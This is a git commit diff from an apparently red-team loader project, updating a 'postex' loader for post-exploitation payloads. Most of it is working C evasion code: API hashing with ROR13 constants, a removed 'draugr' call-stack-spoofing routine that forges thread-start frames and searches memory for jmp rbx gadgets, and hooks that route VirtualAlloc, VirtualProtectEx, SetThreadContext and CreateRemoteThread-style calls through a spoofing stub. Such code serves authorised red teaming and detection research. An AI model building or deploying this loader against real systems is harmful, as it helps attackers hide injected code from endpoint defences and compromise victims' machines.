update postex loader with shared libs

This commit is contained in:
Rasta Mouse
2025-10-15 18:43:23 +01:00
parent 36ba792308
commit fb241cc223
24 changed files with 1225 additions and 1788 deletions
+8 -4
View File
@@ -4,7 +4,10 @@ author "Daniel Duggan (@_RastaMouse)"
x64:
load "bin/loader.x64.o"
make pic
make pic +gofirst +optimize
dfr "resolve" "ror13"
mergelib "../libtcg.x64.zip"
mergelib "../libtp.x64.zip"
load "bin/proxy.x64.o"
make pic
@@ -13,12 +16,13 @@ x64:
link "draugr"
load "bin/hook.x64.o"
make object
import "LoadLibraryA, GetProcAddress, SpoofStub, RtlLookupFunctionEntry, GetModuleHandleA, VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, GetThreadContext, SetThreadContext, ResumeThread, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, CloseHandle, CreateFileMappingA, MapViewOfFile, UnmapViewOfFile, VirtualQuery, DuplicateHandle, ReadProcessMemory, WriteProcessMemory, ExitThread, CreateProcessA, Sleep"
make object +optimize
mergelib "../libtcg.x64.zip"
import "LoadLibraryA, GetProcAddress, SpoofStub, VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, VirtualQuery, GetThreadContext, SetThreadContext, ResumeThread, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, ExitThread, CloseHandle, Sleep, CreateFileMappingA, MapViewOfFile, UnmapViewOfFile, DuplicateHandle, ReadProcessMemory, WriteProcessMemory, CreateProcessA"
export
link "hooks"
push $DLL
link "postex"
link "dll"
export
-87
View File
@@ -1,87 +0,0 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
/*
* Save you some headache doing a PIC printf for debugging
*/
#ifndef WIN32_FUNC
#define WIN32_FUNC( x ) __typeof__( x ) * x
#endif
#define PIC_STRING(name, str) char name[] = { str }
#define PIC_WSTRING(name, str) wchar_t name[] = { str }
typedef int __cdecl (*vsnprintf_t)(char * d, size_t n, char * format, ...);
typedef struct {
WIN32_FUNC(VirtualAlloc);
WIN32_FUNC(VirtualFree);
WIN32_FUNC(OutputDebugStringA);
vsnprintf_t vsnprintf;
} DPRINTFFUNCS;
void __dprintf(DPRINTFFUNCS * funcs, char * format, va_list * args) {
int len;
char * temp;
/* figure out the length of our buffer */
len = funcs->vsnprintf(NULL, 0, format, *args);
/* allocate our memory */
temp = funcs->VirtualAlloc(NULL, len + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (temp == NULL) {
return;
}
//__stosb((unsigned char *)temp, 0, len + 1);
/* format everything */
funcs->vsnprintf(temp, len + 1, format, *args);
/* printf it */
funcs->OutputDebugStringA(temp);
/* free our memory and move on with our lives */
funcs->VirtualFree(temp, 0, MEM_RELEASE);
}
void dprintf(IMPORTFUNCS * ifuncs, char * format, ...) {
va_list args;
HMODULE mod;
DPRINTFFUNCS funcs;
PIC_STRING(kern32, "KERNEL32");
PIC_STRING(vastr, "VirtualAlloc");
PIC_STRING(vfstr, "VirtualFree");
PIC_STRING(odstr, "OutputDebugStringA");
PIC_STRING(msvcrt, "MSVCRT");
PIC_STRING(pfstr, "vsnprintf");
mod = ifuncs->LoadLibraryA(kern32);
funcs.VirtualAlloc = (__typeof__(VirtualAlloc) *) ifuncs->GetProcAddress(mod, vastr);
funcs.VirtualFree = (__typeof__(VirtualFree) *) ifuncs->GetProcAddress(mod, vfstr);
funcs.OutputDebugStringA = (__typeof__(OutputDebugStringA) *)ifuncs->GetProcAddress(mod, odstr);
mod = ifuncs->LoadLibraryA(msvcrt);
funcs.vsnprintf = (vsnprintf_t) ifuncs->GetProcAddress(mod, pfstr);
va_start(args, format);
__dprintf(&funcs, format, &args);
va_end(args);
}
-76
View File
@@ -1,76 +0,0 @@
#include <windows.h>
#define RBP_OP_INFO 0x5
#define draugrArg(i) (ULONG_PTR)functionCall->args[i]
typedef ULONG NTAPI (*RTLRANDOMEX) (PULONG);
// God Bless Vulcan Raven.
typedef struct _STACK_FRAME {
LPCWSTR DllPath;
ULONG Offset;
ULONGLONG TotalStackSize;
BOOL RequiresLoadLibrary;
BOOL SetsFramePointer;
PVOID ReturnAddress;
BOOL PushRbp;
ULONG CountOfCodes;
BOOL PushRbpIndex;
} STACK_FRAME, * PSTACK_FRAME;
typedef enum _UNWIND_OP_CODES {
UWOP_PUSH_NONVOL = 0,
UWOP_ALLOC_LARGE,
UWOP_ALLOC_SMALL,
UWOP_SET_FPREG,
UWOP_SAVE_NONVOL,
UWOP_SAVE_NONVOL_FAR,
UWOP_SAVE_XMM128 = 8,
UWOP_SAVE_XMM128_FAR,
UWOP_PUSH_MACHFRAME
} UNWIND_CODE_OPS;
typedef unsigned char UBYTE;
typedef union _UNWIND_CODE {
struct {
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE, *PUNWIND_CODE;
typedef struct _UNWIND_INFO {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode[1];
} UNWIND_INFO, *PUNWIND_INFO;
typedef struct _FRAME_INFO {
PVOID ModuleAddress;
PVOID FunctionAddress;
DWORD Offset;
} FRAME_INFO, * PFRAME_INFO;
typedef struct _SYNTHETIC_STACK_FRAME {
FRAME_INFO Frame1;
FRAME_INFO Frame2;
PVOID pGadget;
} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME;
typedef struct {
PVOID function;
int argc;
ULONG_PTR args[10];
} FUNCTION_CALL, * PFUNCTION_CALL;
typedef struct _DRAUGR_FUNCTION_CALL {
PFUNCTION_CALL FunctionCall;
PVOID StackFrame;
PVOID SpoofCall;
} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL;
+38 -13
View File
@@ -1,6 +1,38 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define TEXT_HASH 0xEBC2F9B4
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9
@@ -31,12 +63,6 @@
#define CREATEPROCESSA_HASH 0x16B3FE72
#define SLEEP_HASH 0xDB2D49B0
#define TPALLOCWORK_HASH 0x7449D9F8
#define TPPOSTWORK_HASH 0xA3560665
#define TPRELEASEWORK_HASH 0x1FFDA65A
#define NTALLOCATEVIRTUALMEMORY_HASH 0xD33BCABD
#define NTPROTECTVIRTUALMEMORY_HASH 0x8C394D89
#define HASH_KEY 13
#ifndef __MINGW32__
@@ -44,18 +70,17 @@
#endif
__forceinline DWORD ror( DWORD d ) {
return _rotr( d, HASH_KEY );
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
do
{
h = ror( h );
h += *c;
} while( *++c );
} while( *++c );
return h;
}
}
+174 -462
View File
@@ -1,329 +1,41 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* This file is part of Tradecraft Garden
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include <wininet.h>
#include "memory.h"
#include "draugr.h"
#include "proxy.h"
#include "hash.h"
#include "utils.h"
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
typedef ULONG NTAPI (*RTLRANDOMEX)(PULONG);
/* the proxy pic */
DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
#include "hook.h"
#include "tcg.h"
/* store resolved functions */
void * g_ExitThread;
/* some globals */
MEMORY_LAYOUT g_layout;
SYNTHETIC_STACK_FRAME g_stackFrame;
void init_frame_info()
{
PVOID pModuleFrame1 = GetModuleHandleA("kernel32.dll");
PVOID pModuleFrame2 = GetModuleHandleA("ntdll.dll");
g_stackFrame.Frame1.ModuleAddress = pModuleFrame1;
g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk");
g_stackFrame.Frame1.Offset = 0x17;
g_stackFrame.Frame2.ModuleAddress = pModuleFrame2;
g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart");
g_stackFrame.Frame2.Offset = 0x2c;
g_stackFrame.pGadget = GetModuleHandleA("KernelBase.dll");
}
BOOL get_text_section_size(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize)
{
PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule);
if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew);
if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders);
for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++)
{
if (_strncmp((char*)pImgSectionHeader[i].Name, (char*)".text", IMAGE_SIZEOF_SHORT_NAME) == 0)
{
*pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress;
*pdwSize = pImgSectionHeader[i].SizeOfRawData;
return TRUE;
}
}
return FALSE;
}
PVOID calculate_function_stack_size(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase)
{
PUNWIND_INFO pUnwindInfo = NULL;
ULONG unwindOperation = 0;
ULONG operationInfo = 0;
ULONG index = 0;
ULONG frameOffset = 0;
STACK_FRAME stackFrame;
memset(&stackFrame, 0, sizeof(stackFrame));
if (!pRuntimeFunction) {
return NULL;
}
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase);
while (index < pUnwindInfo->CountOfCodes)
{
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
/* don't use switch as it produces jump tables */
if (unwindOperation == UWOP_PUSH_NONVOL)
{
stackFrame.TotalStackSize += 8;
if (RBP_OP_INFO == operationInfo) {
stackFrame.PushRbp = TRUE;
stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes;
stackFrame.PushRbpIndex = index + 1;
}
}
else if (unwindOperation == UWOP_SAVE_NONVOL)
{
index += 1;
}
else if (unwindOperation == UWOP_ALLOC_SMALL)
{
stackFrame.TotalStackSize += ((operationInfo * 8) + 8);
}
else if (unwindOperation == UWOP_ALLOC_LARGE)
{
index += 1;
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
if (operationInfo == 0) {
frameOffset *= 8;
}
else {
index += 1;
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
}
stackFrame.TotalStackSize += frameOffset;
}
else if (unwindOperation == UWOP_SET_FPREG)
{
stackFrame.SetsFramePointer = TRUE;
}
else if (unwindOperation == UWOP_SAVE_XMM128)
{
return NULL;
}
index += 1;
}
if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO))
{
index = pUnwindInfo->CountOfCodes;
if (0 != (index & 1)) {
index += 1;
}
pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);
return calculate_function_stack_size(pRuntimeFunction, imageBase);
}
stackFrame.TotalStackSize += 8;
return (PVOID)(stackFrame.TotalStackSize);
}
PVOID calculate_function_stack_size_wrapper(PVOID returnAddress)
{
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
DWORD64 ImageBase = 0;
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
if (!returnAddress) {
return NULL;
}
pRuntimeFunction = RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable);
if (NULL == pRuntimeFunction) {
return NULL;
}
return calculate_function_stack_size(pRuntimeFunction, ImageBase);
}
PVOID find_gadget(PVOID pModuleAddr)
{
BOOL bFoundGadgets = FALSE;
DWORD dwTextSectionSize = 0;
DWORD dwTextSectionVa = 0;
DWORD dwCounter = 0;
ULONG seed = 0;
ULONG randomNbr = 0;
PVOID pModTextSection = NULL;
PVOID pGadgetList[15];
memset(&pGadgetList, 0, (sizeof(PVOID) * 8));
RTLRANDOMEX rtlRandomEx = (RTLRANDOMEX)GetProcAddress(GetModuleHandleA("ntdll"), "RtlRandomEx");
if (!bFoundGadgets)
{
if (!get_text_section_size(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) {
return NULL;
}
pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa);
for (int i = 0; i < (dwTextSectionSize - 2); i++)
{
// Searching for jmp rbx gadget
if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23)
{
pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i);
dwCounter++;
if (dwCounter == 15) {
break;
}
}
}
bFoundGadgets = TRUE;
}
seed = 0x1337;
randomNbr = rtlRandomEx(&seed);
randomNbr %= dwCounter;
return pGadgetList[randomNbr];
}
ULONG_PTR draugr_spoof_call(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12)
{
int attempts = 0;
PVOID returnAddress = NULL;
DRAUGR_PARAMETERS draugrParameters;
memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS));
// configure BaseThreadInitThunk frame
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset);
draugrParameters.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper(returnAddress);
draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress;
if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) {
return (ULONG_PTR)(NULL);
}
// configure RtlUserThreadStart frame.
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset);
draugrParameters.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper(returnAddress);
draugrParameters.RtlUserThreadStartReturnAddress = returnAddress;
if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) {
return (ULONG_PTR)(NULL);
}
/*
* Ensure that the gadget stack size is bigger than 0x80, which is min
* required to hold 10 arguments, otherwise it will crash sporadically.
*/
do {
draugrParameters.Trampoline = find_gadget(g_stackFrame.pGadget);
draugrParameters.TrampolineStackSize = calculate_function_stack_size_wrapper(draugrParameters.Trampoline);
attempts++;
// quick sanity check for infinite loop
if (attempts > 15) {
return (ULONG_PTR)(NULL);
}
} while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80));
if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) {
return (ULONG_PTR)(NULL);
}
// make the call!
return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12);
}
ULONG_PTR draugr(PFUNCTION_CALL functionCall)
{
/* very inelegant */
if (functionCall->argc == 0) {
return draugr_spoof_call(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 1) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 2) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 3) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 4) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 5) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 6) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 7) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 8) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 9) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL);
} else if (functionCall->argc == 10) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL);
} else if (functionCall->argc == 11) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL);
} else if (functionCall->argc == 12) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), (PVOID)draugrArg(11));
}
return (ULONG_PTR)(NULL);
}
#ifdef DEBUG
#include "picodebug.h"
#endif
MEMORY_LAYOUT g_layout;
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
@@ -335,17 +47,17 @@ LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationT
dprintf(" -> flProtect : %d\n", flProtect);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(VirtualAlloc);
call.argc = 4;
call.args[0] = (ULONG_PTR)(lpAddress);
call.function = (PVOID)(VirtualAlloc);
call.argc = 4;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(dwSize);
call.args[2] = (ULONG_PTR)(flAllocationType);
call.args[3] = (ULONG_PTR)(flProtect);
return (LPVOID)draugr(&call);
return (LPVOID)draugr(&call);
}
LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
@@ -359,18 +71,18 @@ LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize,
dprintf(" -> flProtect : %d\n", flProtect);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(VirtualAllocEx);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.function = (PVOID)(VirtualAllocEx);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpAddress);
call.args[2] = (ULONG_PTR)(dwSize);
call.args[3] = (ULONG_PTR)(flAllocationType);
call.args[4] = (ULONG_PTR)(flProtect);
return (LPVOID)draugr(&call);
return (LPVOID)draugr(&call);
}
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
@@ -383,17 +95,17 @@ BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect,
dprintf(" -> lpflOldProtect : 0x%lp\n", lpflOldProtect);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(VirtualProtect);
call.argc = 4;
call.args[0] = (ULONG_PTR)(lpAddress);
call.function = (PVOID)(VirtualProtect);
call.argc = 4;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(dwSize);
call.args[2] = (ULONG_PTR)(flNewProtect);
call.args[3] = (ULONG_PTR)(lpflOldProtect);
return (BOOL)draugr(&call);
return (BOOL)draugr(&call);
}
BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
@@ -407,18 +119,18 @@ BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize,
dprintf(" -> lpflOldProtect : 0x%lp\n", lpflOldProtect);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(VirtualProtectEx);
call.argc = 5;
call.function = (PVOID)(VirtualProtectEx);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(lpAddress);
call.args[2] = (ULONG_PTR)(dwSize);
call.args[3] = (ULONG_PTR)(flNewProtect);
call.args[4] = (ULONG_PTR)(lpflOldProtect);
return (BOOL)draugr(&call);
return (BOOL)draugr(&call);
}
BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
@@ -430,16 +142,16 @@ BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
dprintf(" -> dwFreeType : %d\n", dwFreeType);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(VirtualFree);
call.argc = 3;
call.function = (PVOID)(VirtualFree);
call.argc = 3;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(dwSize);
call.args[1] = (ULONG_PTR)(dwSize);
call.args[2] = (ULONG_PTR)(dwFreeType);
return (BOOL)draugr(&call);
return (BOOL)draugr(&call);
}
BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
@@ -450,15 +162,15 @@ BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
dprintf(" -> lpContext : 0x%lp\n", lpContext);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(GetThreadContext);
call.argc = 2;
call.function = (PVOID)(GetThreadContext);
call.argc = 2;
call.args[0] = (ULONG_PTR)(hThread);
call.args[1] = (ULONG_PTR)(lpContext);
call.args[1] = (ULONG_PTR)(lpContext);
return (BOOL)draugr(&call);
return (BOOL)draugr(&call);
}
BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
@@ -469,15 +181,15 @@ BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
dprintf(" -> lpContext : 0x%lp\n", lpContext);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(SetThreadContext);
call.argc = 2;
call.function = (PVOID)(SetThreadContext);
call.argc = 2;
call.args[0] = (ULONG_PTR)(hThread);
call.args[1] = (ULONG_PTR)(lpContext);
call.args[1] = (ULONG_PTR)(lpContext);
return (BOOL)draugr(&call);
return (BOOL)draugr(&call);
}
DWORD WINAPI _ResumeThread(HANDLE hThread)
